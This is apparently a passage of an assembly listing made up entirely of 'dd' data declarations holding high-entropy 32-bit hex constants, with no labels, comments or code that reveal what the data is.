		dd 9D04B59Fh, 565357CCh, 0C8F90493h, 80B13381h,	0FF005FFDh
		dd 23571BB3h, 72AF8927h, 0F5EABBh, 84A9C5B1h, 282A0C55h
		dd 518DB200h, 0AF6E59A1h, 0F7771Eh, 0D8F1E94Bh,	652F0892h
		dd 0C4EA4210h, 6BD6D508h, 0AAC2A60Eh, 4A00D378h, 0EA0B1794h
		dd 97980035h, 72B082C0h, 0EB00A9B6h, 0D3056A9Ch, 781F1B4h
		dd 3995AF4Eh, 679DA0A4h, 0A928E1ECh, 0F778FCFCh, 0FFF4C150h
		dd 17BCDF00h, 4E561D8h,	49307531h, 0C90AD81Ah, 80D8843Fh
		dd 0C343E42Dh, 0A70085C5h, 4F2115ADh, 0FEF4DAh,	23F182Ch
		dd 4764058Ah, 1445F507h, 83D0FB46h, 1A549EDh, 0E6F0B174h
		dd 483F1CC7h, 87099690h, 20E58898h, 3B15F78Ch, 61D70041h
		dd 669E5967h, 0D490B15Eh, 0F2A71E24h, 8303AC16h, 7488FF0h
		dd 0C73BD1A8h, 0B9320CAh, 6A000310h, 0F5AB9873h, 1050CBDh
		dd 0E4310EA8h, 7052BC78h, 0D50061BEh, 6536F6B4h, 0E92D58h
		dd 0E684D210h, 0AD720575h, 7E101CB0h, 0BB8083D6h, 85F8A2D7h
		dd 68CC49h, 0BFB56BFEh,	17123DDh, 5E5709C4h, 0F43AA220h
		dd 2138AB1Dh, 7C6D0030h, 4FB0108Bh, 73B092C7h, 0B4BE55F8h
		dd 4426D0h, 2C88389h, 0CBE26428h, 77B63401h, 0BA3FCD13h
		dd 8E53D8h, 9B6686E8h, 0CA635AA4h, 301F7500h, 0B1B0625Fh
		dd 0A4B302Bh, 0AE317361h, 0E76D8E00h, 29757B27h, 0FC0428A5h
		dd 49C83768h, 8B8A60C9h, 65006F0Ch, 789AABA4h, 2457AACFh
		dd 39E8EE0Eh, 152B7F00h, 0A7205C59h, 0C0C9224h,	0C01C8080h
		dd 727338Fh, 6E1F1056h,	0AF6600E1h, 80EF9DFh, 46C38DCh
		dd 3D80615Ah, 46160Dh, 96017B55h, 60D41071h, 0A4826A00h
		dd 0C178525Ch, 764807ECh, 50F69175h, 0D6504ED1h, 53974C00h
		dd 30DCA863h, 57A60049h, 37A4CE59h, 0C10F7379h,	630A038Ch
		dd 0C84C47C0h, 75A845h,	55D4049Ah, 0D6789DAAh, 128EEF00h
		dd 26EB7C71h, 95DB3CB5h, 20FC0E7Bh, 3D402743h, 15B9490Eh
		dd 2AEC2D00h, 0BBB1B786h, 23170035h, 6A8D631h, 6F3FE790h
		dd 0BF189C4Eh, 307026Eh, 0B7C01619h, 0A3507Ah, 604205E8h
		dd 0AADFDA8Eh, 0D9833B00h, 0B2E6AF25h, 0D1F301AEh, 15C985B5h
		dd 0FC1D739h, 262AC0DDh, 80DAE81Fh, 0AD7E2500h,	0F01987Bh
		dd 94B15FD8h, 83DB56C1h, 0CF0DFCABh, 9A4F900h, 0CBDD77A3h
		dd 5767B66h, 2FBC5082h,	0B2A480EFh, 0EC00DAC5h,	7F22A2EBh
		dd 0D4286Dh, 0C403E45Bh, 8CA76E8Dh, 9F95EF00h, 1290DE8Fh
		dd 0AD8400B4h, 0C2D4D64h, 0F928D01Ah, 1C009C0Dh, 6921D530h
		dd 97A2226Bh, 0DB101460h, 0C5C9100h, 8B6F4CAFh,	0A63A0FF8h
		dd 0FD60E129h, 2E64DB54h, 4B094100h, 32CB8E68h,	4435260Ah
		dd 80561DEAh, 8AFA96BBh, 810741C8h, 9ECB502Bh, 29BC55F1h
		dd 384B92C4h, 0C98006C6h, 2B033673h, 0F800F314h, 56DE9CE4h
		dd 0DA7B1h, 0E63BCAA6h,	74E8E1BFh, 0E49E88A1h, 9860C256h
		dd 0EC018F28h, 0E5B50090h, 0DA090289h, 0A900156Eh, 709B6419h
		dd 1FC53788h, 8ED099h, 0DF9683C1h, 823AE46Dh, 0E10CFF43h
		dd 217F7C81h, 0BEE82D64h, 0BA069C74h, 0EEB78h, 88FFD97Eh
		dd 3779BB33h, 89E3FC00h, 752DE720h, 54A9050Dh, 0AC6DA1CEh
		dd 9B782639h, 0AFD76B00h, 3028E2D4h, 8060B1CBh,	8E0977BFh
		dd 80721D1Ah, 0EE214000h, 0F097BA9h, 0D3A526B7h, 7A92E986h
		dd 2F225000h, 1695CDE2h, 0DA060FFDh, 0F300AC49h, 9164E7EFh
		dd 2D01B024h, 11D84C0Ch, 0F63B0024h, 5CDACEC7h,	5F001830h
		dd 0A1CC1AE2h, 4CA645D9h, 0DB00498Fh, 0E0B25C9Ch, 6100FBA3h
		dd 0B1915002h, 0DCA07Fh, 0BEF23FD6h, 358937Dh, 0CFF5FC03h
		dd 0C32F539Fh, 6B04C823h, 0E78700CBh, 9CAA27BAh, 0BC00C5D7h
		dd 813786FBh, 0FDC361Eh, 0E5452971h, 0BD7C5160h, 4673FEB2h
		dd 8420431Fh, 0B71F4A80h, 0B5C7941h, 0FE74F57Dh, 0B8FD2600h
		dd 0DA01551Ah, 54C5E1C1h, 0E1EED523h, 0BC4034A6h, 0BDEB82h
		dd 8C2D09FAh, 0AF94C3B7h, 0AD8E0600h, 0D7F98037h, 11EC003Dh
		dd 0B9B65BBCh, 4C397CFBh, 51326048h, 24DA051Bh,	8E302B8Bh
		dd 0D387C2A8h, 6261D186h, 6F308187h, 0FE4499E1h, 889824h
		dd 42A65F70h, 0B12419B4h, 8001293Fh, 35444EBFh,	7165694Bh
		dd 0CDE079h, 6D4737FCh,	1AEDF438h, 0A0D6741Fh, 0D2001B17h
		dd 83FF0778h, 54972435h, 9C960094h, 0E62D23EEh,	0A211D700h
		dd 0B9A5DDC2h, 8332078Dh, 0B0D0FD90h, 0F42E69ADh, 4610C300h
		dd 0AC3F1350h, 2ADE0088h, 75C28FF6h, 9676DA83h,	0CA89CF00h
		dd 0DDF3BEECh, 0A2D81DD5h, 0D5E80A7h, 62E211AFh, 48C9DC00h
		dd 0BCA4830Ah, 0B07C004Ch, 76ACC13Bh, 0F901FD8Bh, 0B95B3A8Dh
		dd 7DF0E9C7h, 0C9AC39Fh, 63F29812h, 9D0044F0h, 899A34A2h
		dd 3B880255h, 0E402FC29h, 772AB5E1h, 2804B480h,	62267DABh
		dd 19807090h, 0EAE6C186h, 8BC02E9h, 0D85B6054h,	589F41DFh
		dd 8BA0A740h, 369403EAh, 0E591B380h, 51F83602h,	60176CBCh
		dd 47E06Ch, 0A76B2199h,	0F82931ACh, 0A1E9D11Eh,	0B27826C0h
		dd 46A274h, 0B70DDDE6h,	0A5F9CB9Ch, 8903Bh, 5379254h, 2C3CF3EEh
		dd 81009FA6h, 0DC56DF38h, 0AD1770AAh, 0CFED800h, 0A47DCA20h
		dd 7F5802C1h, 2F460EA7h, 0C3F9F440h, 945AA800h,	5064FDB7h
		dd 0C2DA00ECh, 7A5B8416h, 6007D1EBh, 3B04A852h,	3A4C8540h
		dd 0F1CC04E7h, 822C553Ch, 38401970h, 5DEEACD1h,	34AEBA00h
		dd 96EE51A4h, 487333h, 2CDA865Ah, 0A51AAA37h, 59AF9506h
		dd 2CA49E08h, 18E356C1h, 3A3210B7h, 4C801300h, 631B4ACAh
		dd 9818D4B4h, 7165DF01h, 0F09DFCA7h, 7A0025DBh,	2454BDA4h
		dd 89DE6Eh, 59173EEh, 19874EB1h, 7748BC0Eh, 2EC00FBh, 0A5DF92h
		dd 0AFC0305Bh, 9EDC0A58h, 0BD1C1600h, 0C9CDCE85h, 2C500420h
		dd 0FEEB137Eh, 64442AC0h, 0DF605089h, 36F3025Eh, 83288147h
		dd 0D4CD80A0h, 6B000162h, 1EF5075Ch, 3DDEC4h, 57D57E37h
		dd 9E7B6FB8h, 0D4A31A00h, 7C2AA13Fh, 0B522001Ch, 62D9031Bh
		dd 0FD0B8A14h, 8634D283h, 66831h, 0A759B9DEh, 0CAC7D45Eh
		dd 70AA84A0h, 53C0D904h, 1880EDB0h, 7EB400Ch, 931B992h
		dd 25C5C0F5h, 86F204D4h, 71647707h, 50E0335Fh, 0F47839Ah
		dd 0D2F3B7BDh, 0E3C84340h, 2809DEB9h, 808AE017h, 0C7567371h
		dd 0ACE664h, 2E91D996h,	6D2218C3h, 7FEF9907h, 0C0BFB0C5h
		dd 0CC01ECFEh, 2BBB004Dh, 7EA28A87h, 0F400BE1Fh, 0DB7DEFE4h
		dd 34A6744h, 400E3E98h,	20CF33DFh, 0CFBD1AFh, 860E100h
		dd 34FD1BDEh, 0C74A39FFh, 91BE2480h, 7D8022EDh,	5488F3Ch
		dd 9BBB4E8Ah, 1AD928C0h, 7189AA7h, 2BDAB617h, 8E8CA0FDh
		dd 34090508h, 80CCA097h, 7B5B4F0Dh, 28A94CD0h, 80D4191Eh
		dd 4258C201h, 9654C391h, 51F72E4h, 0AE00CC03h, 249FFAE4h
		dd 34F805A7h, 0C2E652E1h, 1C800C5Dh, 0C3390A7Dh, 4E7BAC03h
		dd 54509Ch, 680B02E8h, 0F8C9B3D2h, 24E30500h, 1A9DB122h
		dd 84630418h, 0C08D0908h, 617E4330h, 0F718E877h, 138969C2h
		dd 96683EA5h, 0BC0274D8h, 0CCF78BEBh, 1FA310A4h, 0E8E47CA0h
		dd 0C32E886h, 820136ABh, 3A2C8C28h, 0B1804030h,	43A56141h
		dd 0E09E8DEh, 6845226Dh, 0C9C764Fh, 2C286970h, 6E39F418h
		dd 3450E969h, 1608C49h,	5E859210h, 493010C4h, 2AE788Eh
		dd 0B94CD172h, 5486C1F7h, 608E201Bh, 280095A2h,	0B8C999EAh
		dd 0D2BB0F00h, 0FC5B72DEh, 1E67018h, 88CB3759h,	0F80FB4F9h
		dd 76002AC8h, 418C86C0h, 0CF8B7h, 873537AEh, 0F39DA99Eh
		dd 7AFC1B00h, 0B1A13234h, 5580005Ah, 0B1C6401h,	82015220h
		dd 0CAC215DAh, 7EE03AACh, 28100730h, 0C796321Ch, 0F9841307h
		dd 0ED23DE90h, 0AB994B00h, 0A45D563h, 0F73200C1h, 3F2C8F05h
		dd 380F0B82h, 40478E56h, 4D573A7Ah, 0FEEFA8Ch, 0F942B319h
		dd 8F2B85C0h, 0F600CB0Eh, 0E4DB9E9Ah, 828884h, 0E6C467EDh
		dd 4AAFEADh, 0B390B179h, 4DEB5A00h, 0A8BF1B17h,	2A4C1F78h
		dd 9D3007ECh, 2989C256h, 63BCECA0h, 9002D8E9h, 0EC586CEBh
		dd 0E759E020h, 2E9D0C1Eh, 1D4124BFh, 2C80A000h,	0A4BD0D8Fh
		dd 55C08379h, 47005248h, 304CB9ECh, 0E94D41F4h,	0B0A81040h
		dd 0BADD002Dh, 7E031564h, 0BE7A6F63h, 9C0C801Ah, 0D38A190h
		dd 0D0314F81h, 5072708Fh, 17572B20h, 7440FB8Ah,	0CFF802h
		dd 0EE56B405h, 91217D97h, 77C39E00h, 74B19D3Ch,	0C56030E8h
		dd 0F8D9A438h, 5601A078h, 4680BB6Bh, 718E020Dh,	0BF42AB6Dh
		dd 5040B9E4h, 8CCA98Ch,	43210Ah, 0E0CA6DA3h, 0E8EADF66h
		dd 0D339504h, 36009D98h, 253B1B13h, 37C803Dh, 0D2DE6F0Ah
		dd 0DB07C39Ch, 0BEC80564h, 3E15B7h, 994F879Ch, 0EEF872DCh
		dd 0A03ACD00h, 0AAB45B7Ch, 35BB0E6h, 0F28A906Ah, 0FFA87E5Dh
		dd 190E7DD8h, 0A0E75491h, 0C29C5EE6h, 0CC970055h, 0D9B7377Bh
		dd 513F0AEEh, 6BC30026h, 6A92792Fh, 58F888h, 15FAA369h
		dd 5C7B7525h, 0FD944500h, 0ECF6D299h, 3C2816AEh, 10AF0065h
		dd 0CDD9EB14h, 0FBF228C0h, 0EA785F38h, 0F4A2A081h, 0ACD324B9h
		dd 7D803FB9h, 5CC51DE5h, 3E0145CDh, 4EC24FA5h, 41C0DCF8h
		dd 48A0671Fh, 8A20C097h, 0B801BED7h, 0D8AA48DDh, 470AE9Eh
		dd 0CD53015Eh, 3D24C7ACh, 9FA5C869h, 830657Fh, 0CE16985Dh
		dd 116B00D1h, 2ADF1DF1h, 0DE70E2A1h, 8202D60h, 1FB863D7h
		dd 60CD86h, 0F130CB2Fh,	0AECDD46h, 1208B300h, 0DC9E7C81h
		dd 3E1E48AFh, 0ABD23A00h, 46F63BEAh, 0D7528E03h, 0D0C6EE25h
		dd 0A58DB2h, 2114DD27h,	50DC5A5Ch, 72C5E03h, 9BCDCBD7h
		dd 2813C020h, 812F002Eh, 7D70E52Dh, 4A2C7EF5h, 0C907C271h
		dd 60DF62AEh, 0F70D035Ah, 0A66B002Ch, 589A05A9h, 6907CF51h
		dd 5D574C2Dh, 0F771D1E0h, 96F10062h, 82CDAEF2h,	28F02246h
		dd 8145D300h, 0A9B93317h, 852937FDh, 5504DAD0h,	88FE03DCh
		dd 0AC73B38Fh, 40802FA9h, 59914510h, 369628C0h,	177684D3h
		dd 1D0E08F0h, 0B41A038Bh, 28109331h, 72119A5Bh,	8BC21A8h
		dd 0AD90A958h, 0C044A188h, 12AD9821h, 0DB751059h, 0BF087489h
		dd 11554284h, 7821DAF0h, 90AE8708h, 0D63E8441h,	0E2446C48h
		dd 125A9D21h, 83011A0h,	9814426h, 0D22C28A0h, 93102489h
		dd 441FE37Eh, 4600DF3Eh, 5EAEDEFAh, 0C73700E2h,	0D4E90F2Dh
		dd 7E00C267h, 8ED74B15h, 0F885A9h, 0F4771C3Ch, 0D9E705Bh
		dd 0ED07C4F4h, 73F34F2Ah, 4703BBB7h, 40C9F1CDh,	0DDC6D4h
		dd 0B00AE4AFh, 0C33119ECh, 0C0B7E00h, 27EF20B5h, 0B87DF89Fh
		dd 0CD620029h, 79663C2Eh, 4000EB53h, 932BC81Ah,	98B548h
		dd 70B223F3h, 2F323EC5h, 0F800DC79h, 68197D8h, 7B68BCAh
		dd 0F7C2C4BAh, 7ECE00E1h, 0AF009592h, 8596367Bh, 0E4CAB5FAh
		dd 72090290h, 278E8FEFh, 187F4068h, 0D87B300h, 0CDD69FF2h
		dd 4B80008Bh, 96A49570h, 17005F08h, 2004BAE2h, 0BC7E0D6h
		dd 8154303Eh, 0A7EA5B00h, 0BD005028h, 1435BF7h,	1CF2EC45h
		dd 92911BE0h, 9068402Eh, 0F873B886h, 0BC41E91Dh, 68CF7140h
		dd 7316D889h, 3EFB0051h, 12E2DB49h, 4303D46Ah, 56059F2Fh
		dd 0FC52A0E8h, 0C210C057h, 971CFD11h, 0B12D800h, 0ECE1DCDh
		dd 27E500E7h, 7A762D23h, 52003F93h, 72A69BC2h, 88EEE2h
		dd 3338710Ch, 37CB5D9Fh, 0F1168300h, 9C1B878h, 3A3E00C4h
		dd 0E422F597h, 240018D6h, 0C057FF50h, 7CA12h, 48F44D36h
		dd 44694656h, 3E07CDEAh, 60B0DE2Fh, 229AC08Fh, 90DC83h
		dd 0D5B2EB18h, 7DE94D88h, 1E519E00h, 43BEA437h,	0BD4F0093h
		dd 6B498369h, 18053E97h, 6CE2A274h, 0AE4CCC00h,	1A68B4Fh
		dd 0B96B8341h, 0DFC4D511h, 88FF6FC8h, 4BA21A00h, 3B634CEAh
		dd 5DB800AAh, 0DBC65446h, 0D23994E9h, 618B007Eh, 0D6C73A3Dh
		dd 0D1A00013h, 3714E8Ah, 83035786h, 81BC492Eh, 0B3B88060h
		dd 2C133EBFh, 7A6C94D0h, 12821B8Fh, 0E1E01050h,	0E400B1F5h
		dd 3179BA2Bh, 29F018Fh,	370B505Bh, 5060831Ah, 8491CC9Ah
		dd 6EDE3B00h, 1C65E1h, 190DDACEh, 0FBEF916h, 47D8E550h
		dd 0C42E5B00h, 0D0389FC6h, 0A48224EBh, 396F0087h, 2464072Ah
		dd 0F4B14600h, 6755A0ECh, 5E710061h, 0B2B5F7F1h, 0E0BDACBDh
		dd 18232CDh, 41E27A1Bh,	707547CCh, 273F374Dh, 0FF611D86h
		dd 3D382E00h, 31C9E6Bh,	0BA902666h, 89805892h, 941F6A70h
		dd 0D8055D55h, 0DE07A7C9h, 0AC5021E3h, 13B1B2Dh, 2733051Fh
		dd 0D42483F8h, 391E652Ah, 0D4405963h, 5EC3D84Dh, 31A40930h
		dd 0D8801126h, 0C1A65218h, 9B226E00h, 72B32B3Ch, 0DC0C00AAh
		dd 9DFAF9ABh, 6D0053F8h, 7F9738E2h, 0EB10D92h, 0A2A390A4h
		dd 6AB7EF40h, 0B604595Dh, 0F03AFF39h, 0C5573CC0h, 334926C0h
		dd 0D7848060h, 8DD48B68h, 7D260700h, 3A19370h, 5C5602BBh
		dd 2EA5CE84h, 3ADCA440h, 0B8CB3000h, 0B1671EB0h, 0DD180008h
		dd 0A69A8F2Dh, 63D7D5Bh, 708D81ABh, 25685638h, 709F4h
		dd 6B5A3AB4h, 95D9887Dh, 0D09D2401h, 0F9C4AB8Eh, 78F47A70h
		dd 0B4650C45h, 53403CAFh, 93081600h, 6FD69A74h,	68B0591Dh
		dd 61CD9400h, 5B78BA2h,	85ECE550h, 36D1500Dh, 1DF01192h
		dd 0A8930199h, 0E90B53C2h, 0B7886402h, 7FE62607h, 0DD057CDh
		dd 1EB34EC3h, 9B602Ch, 5A65813Bh, 0C200D471h, 7013F8A5h
		dd 0A00F5C9Ah, 9726DFDh, 0C6361EE1h, 0BEB9B880h, 0A6044613h
		dd 198162ABh, 9B8BBCC0h, 0F4E285h, 0F333D06Ah, 0D575A484h
		dd 0E020C77h, 91182755h, 7CE04814h, 17D8008Ah, 3DAB0746h
		dd 5D30BD35h, 45FFB068h, 6A2A0EB3h, 774E427Ah, 5669F982h
		dd 7009B3C0h, 67C55B1Ch, 4099C78Fh, 0A9B5CDECh,	8F900AFh
		dd 0B3CA3B9Dh, 6B3D912Bh, 0F0110022h, 0D6F8CC66h, 9295006Ah
		dd 0CD71CA2Dh, 0D2039CC1h, 3BF5128Ah, 551AC889h, 64320777h
		dd 2197638Fh, 2030D239h, 0B25882FAh, 0EE100E13h, 1CC36049h
		dd 5C8B8C61h, 0F0002824h
		dd 0D08E8F2h, 2E039831h, 7106C65Dh, 30F8149h, 402230h
		dd 0D77B2015h, 684C8336h, 0F3450805h, 8C016D9Eh, 0F625AC8h
		dd 26F21C64h, 8274BA35h, 84C21854h, 86ACC960h, 0BE00DB72h
		dd 0CA73E78Dh, 3DF72EFh, 52BFB19Dh, 96E8B846h, 0DB265A1Ch
		dd 9E006CA9h, 0F4A7F2CCh, 27EA0050h, 0ACAA0136h, 0FD385481h
		dd 3E01774Bh, 0F2252DB6h, 7080ADB5h, 7E7587E9h,	8B74A310h
		dd 0EDAA0660h, 3DCF6B2h, 430AAA7Bh, 75F89D99h, 3E00EF71h
		dd 64C96734h, 724BF1h, 0D4F5848Ch, 0CABFFC9Fh, 5DCF4200h
		dd 798A5680h, 1159075Eh, 80FB3A22h, 12FC1C35h, 1EF38200h
		dd 14176AF0h, 0C532017Bh, 69C1A5C4h, 74FCC0B9h,	20C92433h
		dd 1330F094h, 0D3B40042h, 3F855447h, 36000965h,	0C14FD087h
		dd 48C8387Eh, 0A30C3C5Bh, 7502B584h, 7659F600h,	31EA9825h
		dd 0FE830397h, 38BD4119h, 23799080h, 803C343Bh,	37A3761Eh
		dd 0E10BC69h, 8B912A42h, 0A4D182E0h, 2F74A607h,	14B3E02Ch
		dd 0E63A1640h, 71957AC2h, 0AD7C1DD1h, 7E3E4AFh,	842F6128h
		dd 676E8074h, 3900629Ah, 0FABFB047h, 1F8695h, 6CE95676h
		dd 32D4C551h, 0B35B6A0Eh, 255002C1h, 605840D2h,	5021FA9Fh
		dd 0F475BC43h, 73E40056h, 0CFA42CFh, 3F0E6A9Bh,	0E0E9C13Ah
		dd 4CC58303h, 0E0851256h, 9C5C0025h, 0BE8E7730h, 93945400h
		dd 389AB40Eh, 0C51500CCh, 0EEA04C3Ch, 8B07AD36h, 9957694Bh
		dd 0A603D48Ah, 0C85A0C79h, 14CD0791h, 0D836B229h, 47CB030Eh
		dd 0A3B9483h, 972561A8h, 4800E1F8h, 981FD1DEh, 300EFFh
		dd 44A0D915h, 0F73F533h, 4675F100h, 0BDE271C2h,	0ECB600E5h
		dd 63B4A1CCh, 320092C8h, 503D9141h, 6B174Ah, 0B0AA2A8Ch
		dd 0C22F4283h, 4B3F947Eh, 16D700BEh, 4D5AE676h,	0F8A918CFh
		dd 8839404Eh, 8CB38300h, 0FFB6131Bh, 74100F0Dh,	0CC09BC4h
		dd 0E0EA8775h, 0CE031A00h, 14FE1D18h, 32C1020Dh, 0B0B2203Bh
		dd 2F009BD0h, 65DC71A3h, 0BE83FEh, 0A7EDB785h, 6DB4F5E2h
		dd 3023CF00h, 9966FB3Fh, 0C17A0012h, 15193457h,	0EA00D1B1h
		dd 16CF9EACh, 7BEE0C4Bh, 0F15500A6h, 8EE28429h,	0DC0752B5h
		dd 6EAE7745h, 3A8C300h,	0F90F811h, 183F7C84h, 4821C18Fh
		dd 20A4A5AAh, 1D003DFAh, 735AFB60h, 185322Ah, 3FF0C4CFh
		dd 0C8D28193h, 6507D6A4h, 506E1924h, 0E01F6D60h, 3125129Eh
		dd 0F064050Bh, 7088C791h, 1F2C75FDh, 28BD6200h,	0BBC653DAh
		dd 20B30221h, 0E40C36FCh, 0F4F48E0h, 4407627Dh,	86692AA6h
		dd 3B50077Fh, 6E4B860h,	3FC300BEh, 3CEBB84h, 0C95C91D0h
		dd 1C8E0097h, 4207A8DFh, 786F59E6h, 6B601874h, 4015E89Ch
		dd 3B7F200h, 0CD8FC1DEh, 4C990036h, 4A79BF95h, 5200F86Ch
		dd 18F4C64Fh, 0E453598Ch, 109606C5h, 0E4AE7955h, 1D7910Bh
		dd 0EF438048h, 7524A3Dh, 61F01453h, 0FFE9B17Dh,	9AA8EB92h
		dd 0A39796Ah, 3596006Eh, 87718905h, 0DB49004Ah,	739BA943h
		dd 0D907E3EAh, 8E277023h, 8D28BCh, 0F903FE6Ch, 71E3A01h
		dd 5E205707h, 35273711h, 7F30ABB7h, 8ED4F7h, 0D293A548h
		dd 0E3F9150Ah, 0EA39FCEAh, 0EE4C18h, 82409FB1h,	3ED4B7Ch
		dd 928A0ED8h, 0C08FE1D5h, 7BECA3BDh, 325CF300h,	905F2515h
		dd 8C9F0094h, 0FD753776h, 410545CCh, 6399E136h,	2CE09900h
		dd 724DF8Ch, 8AFDDEFBh,	2C0DF65h, 0C05CE6AAh, 7E689900h
		dd 3F1D3E45h, 56EA00BBh, 0EBB91667h, 5B007B35h,	5F8C746h
		dd 4C17D2h, 0F03DAAF9h,	0E4884D6Eh, 6C089600h, 0C23FD9C6h
		dd 6232009Ah, 480AC14Ch, 0DD01B9A7h, 0F4D157BEh, 0CAC075ADh
		dd 38DEE23Eh, 80809E6Dh, 0BB342CE3h, 0B200180Ah, 0DBD7E820h
		dd 79DACAh, 0EC059A2Ah,	0D5192F71h, 83112B0Fh, 93294084h
		dd 1159713h, 0F77B691Fh, 70D80C92h, 0F57B6BAEh,	155C90Eh
		dd 6D734407h, 0D1D2EEC0h, 4A6200C6h, 781DBA3Ah,	0A10021BEh
		dd 6FE0A3D7h, 0C0030238h, 35378268h, 4CF4FD30h,	79840E07h
		dd 16657040h, 7D67E801h, 6CE4A69Ch, 0FCEA0059h,	0BAC2439Dh
		dd 5000AE24h, 49631992h, 0F42B38B4h, 0A1C40070h, 375B236h
		dd 4AF8CBEAh, 1314921Ch, 6DFB8879h, 8EAC002Ah, 0E0A8DD34h
		dd 0B259B500h, 5425657Ch, 93CB00F8h, 47FAFF92h,	0D000492Fh
		dd 20EDE385h, 0F2ABECAh, 44080F0Bh, 0B4308B80h,	27006748h
		dd 92C793A9h, 0CEDBADh,	56F02414h, 0A1B053B2h, 2B008A70h
		dd 37C0BB3Ch, 5D4422h, 0AA16DE7Eh, 0DD5C2532h, 4D57BD00h
		dd 5430C13h, 0A7F01EB8h, 8D4C80F6h, 84FB0F37h, 6C00C8E4h
		dd 1B68E1B7h, 0C61C4h, 34881133h, 695CD047h, 62DCEE00h
		dd 0B6A3D2EDh, 2E7439h,	7FF7C4D1h, 0CA8F879Ch, 69AB5900h
		dd 13011B0Eh, 65BF001Fh, 96C6AF16h, 3B0E76DEh, 0C032A535h
		dd 9FBC1805h, 0E8174A01h, 662000BEh, 0DAB12797h, 98883A15h
		dd 0BCFB3980h, 0EA86A501h, 0DB7AFD00h, 5846269Ch, 648F0FF5h
		dd 8B877CA1h, 55225013h, 1A06013Fh, 0D0AAC252h,	1E350090h
		dd 0CDE802EBh, 0ED32FE2Eh, 40F518CEh, 0E422BCh,	0EADB2319h
		dd 770C550Fh, 6878C700h, 0F64BF4C3h, 801B4910h,	1742A401h
		dd 406B8CB9h, 3BAC02D4h, 0E220FC00h, 0BAFAB40Dh, 64300066h
		dd 0DE4768CEh, 0B3042D4Dh, 630BE0B2h, 0D487D080h, 15932CD3h
		dd 811259h, 181331A0h, 0DA000CEFh, 803DDC32h, 38930Fh
		dd 0A0149B5Ah, 25967ED4h, 9FFD840Ch, 1C5F30F7h,	808C2987h
		dd 7BBF4391h, 3A12D7E9h, 0C802315Ah, 608D2AF3h,	7EAF39CFh
		dd 0C7DA26FCh, 316900E3h, 19D50B1Ah, 5AE89D00h,	355F113Ch
		dd 0A89A4814h, 0E99BBF00h, 0E5D055E0h, 8323B100h, 0ED2535BBh
		dd 7C651EA8h, 0AD017B10h, 0BC870EDDh, 3FC2FC8Ch, 0AE00617Bh
		dd 2E9B1F9h, 120622h, 54E42AF8h, 4A951352h, 0D664A400h
		dd 7FC5AC09h, 9F3E0033h, 0A7424158h, 1507071Ch,	9053038Ch
		dd 2EB7634Eh, 0F08EB094h, 9E7EB6h, 0B1E01967h, 0A8094EE6h
		dd 0ADCDA100h, 0D7E161BEh, 0C3C003ABh, 0F4665BEEh, 0D83C7D99h
		dd 0F500AE14h, 6B7CCACh, 2B2EEAh, 6F273777h, 12175911h
		dd 0AB099918h, 3E9EC5C8h, 78CC21h, 0E03774E2h, 9405E02h
		dd 9DB9853Ah, 0FEC0E5C0h, 0E2F2A09Fh, 2A0B00C3h, 2F7EE960h
		dd 730D3F5h, 97D140C8h,	0E2231E02h, 0A7A8B967h,	6FF400C8h
		dd 6D8C78B9h, 837A507Bh, 29E77701h, 7ED08856h, 0FFE1CCh
		dd 0B2F0D98Dh, 0B647C1F3h, 0F7C34D09h, 0B58800DBh, 809DFD0Ch
		dd 0AA0008E2h, 8A396B06h, 73AF64Ah, 5FEAABCDh, 2A7090C4h
		dd 0CA000FFDh, 41B8C56Bh, 3F97947Ah, 0B78008F0h, 2B49432Ch
		dd 0AD0267D1h, 0F875C87Bh, 39FF401Dh, 1E2C0ADEh, 3C0A1B5h
		dd 70504419h, 8F409D92h, 8B01A64Ch, 32FF7E6Eh, 0F882C22Ah
		dd 0A08326C6h, 85ECA883h, 29CDD2h, 0ACC89190h, 48CE4C8Bh
		dd 0BCC0B16h, 0AA014C67h, 3079D152h, 94161034h,	7F00DA40h
		dd 9C6447F7h, 0EDACA893h, 4D1892FDh, 973380Ah, 0AD2279C3h
		dd 3A6C7420h, 0CB72FB27h, 0BDD2B600h, 1315A875h, 517453h
		dd 0AC3E9664h, 57AFD5DDh, 0ACD04228h, 140206FCh, 0A9D2FC8Fh
		dd 3FFCC139h, 0D8A2FA80h, 0FF76A78Ah, 8606A177h, 4D1F58A6h
		dd 570E0E19h, 21E76623h, 72BCF1ABh, 9A8843C1h, 0B28ADDF8h
		dd 0C9003E7Bh, 0EB9B8BC7h, 3B4A3404h, 9A04147Bh, 80932D40h
		dd 0B839589Ah, 0C36B070Fh, 101800CFh, 1FF0F46Eh, 4084D2A3h
		dd 536168A4h, 0E4030AE2h
		dd 115BD59Ch, 9E888031h, 72CF00EFh, 0AE1FEE1Dh,	0D5761C56h
		dd 0F2235000h, 4DF8C51Bh, 0A32531A4h, 0D81386A1h, 0E300D0C9h
		dd 0F40805AFh, 3B72F9h,	9FA1FEBCh, 0CB5B4D7Eh, 0CF8DD317h
		dd 719E4403h, 3B27F073h, 730714Fh, 322A0522h, 0FACC00E1h
		dd 7813F563h, 4E0203C1h, 40CDA03Fh, 2E560D8h, 97FC574Fh
		dd 6E40EA2Fh, 0D100E2D0h, 0EBA414E0h, 163BD3Ah,	0D4A6DD7h
		dd 60CE2C52h, 5A00E6ECh, 0C4B6A1B8h, 1610ECCh, 0BE992DD3h
		dd 719C1391h, 0B3FCD400h, 2416FB04h, 7808168h, 0CDCFFFh
		dd 0BE3319E8h, 0C03D0ABAh, 0DB653501h, 0F0D05DBFh, 505F7E70h
		dd 60C3Bh, 0CF152383h, 91CBE99Ah, 70B30C00h, 68014B1Eh
		dd 0C2F700C0h, 0BD516658h, 2300466Dh, 60954D0Bh, 1DEEDA0Ah
		dd 0FDD9D6ADh, 84A624h,	0FC3EF0EFh, 7900415Eh, 61901253h
		dd 37EA58Bh, 0BF03E5A4h, 4688F533h, 0AA00FE99h,	0E40904F1h
		dd 13D312A8h, 41CEADD7h, 9D238AE4h, 9063E6C3h, 0A186A287h
		dd 1331A18h, 0A32465ECh, 3070C809h, 2D00F6BEh, 10342BEAh
		dd 5588EDh, 0C09AADCEh,	0F62F8405h, 0E2006490h,	0A52D14B2h
		dd 370869Fh, 0B646EBBBh, 1000FA82h, 0F8694E3Eh,	12FFA5A0h
		dd 0B38921h, 3C117E08h,	15013088h, 19DA1A9Ch, 0C4640F5Bh
		dd 2EA0FB6h, 0FDC3C784h, 0B498EF17h, 0DE094122h, 0F83C445h
		dd 701CB7A8h, 32040D41h, 80808F2Dh, 24EF36Ch, 7678D0D7h
		dd 970065FAh, 0DDC53837h, 9A34E4FEh, 0EEA3003Ch, 0FD3B0A14h
